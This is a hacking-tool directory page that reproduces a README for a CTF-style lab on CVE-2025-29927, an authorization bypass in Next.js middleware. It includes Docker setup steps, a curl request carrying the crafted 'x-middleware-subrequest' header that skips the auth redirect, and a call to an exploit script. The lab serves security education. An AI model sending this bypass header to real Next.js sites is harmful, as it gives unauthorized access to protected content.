Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/mhamzakhattak/cve-2025-29927
Vulnerability AnalysisExploitationWeb Application ExploitationCTFPenetration TestingLearning & Education
GitHubmhamzakhattak/cve-2025-29927

CVE-2025-29927

CTF-style proof-of-concept demonstrating CVE-2025-29927 Next.js middleware authorization bypass. Includes vulnerable Docker app and exploit script to retrieve flag from protected route.

View Repository
1371 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    1.0k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    593
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    381
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    321
  • 5

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    316
  • 6

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    305

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-29927 - Next.js Middleware Authorization Bypass (PoC)

This is a Capture The Flag (CTF) styled Proof of Concept for the Next.js Middleware Authorization Bypass vulnerability (CVE-2025-29927). The goal is to bypass the auth middleware and retrieve the flag from the /protected route.


Vulnerability Summary

  • CVE: CVE-2025-29927
  • Type: Authorization Bypass
  • Component: Next.js Middleware
  • Impact: Unauthorized access to protected routes
  • PoC Target Route: /protected
  • Expected Behavior: Unauthorized users are redirected to /
  • Vulnerable Behavior: Using a crafted request allows bypassing the redirect and accessing the protected content directly

PoC Setup

1. Clone the Repository

git clone https://github.com/mhamzakhattak/CVE-2025-29927
cd CVE-2025-29927
cd nextjs-docker

2. Build and Run the Vulnerable App

sudo docker build -t nextjs-auth-app .
sudo docker run -p 3000:3000 nextjs-auth-app

This will start the vulnerable Next.js app on http://IP:3000


Exploitation

1. Without Exploit

Try accessing:

curl -i http://IP:3000/protected

You will be redirected to /.

 curl -H "x-middleware-subrequest: middleware" http://IP:3000/protected

2. With Exploit

Use the provided exploit.py to bypass the middleware and access the protected route:

python3 exploit.py -url http://IP:3000

If successful, you will retrieve the flag from /protected.


Files

  • Dockerfile - Builds the vulnerable Next.js application
  • exploit.py - Exploits the vulnerability to bypass auth
  • pages/ - Contains the vulnerable /protected and /login routes
  • middleware.js - The vulnerable middleware logic
  • README.md - This file

Disclaimer

This PoC is for educational and research purposes only. Do not use it against systems you do not own or have explicit permission to test.


🏁 Flag

Find the flag by exploiting the vulnerability and accessing:

http://IP:3000/protected

Good luck! 🏴‍☠️

Download Tool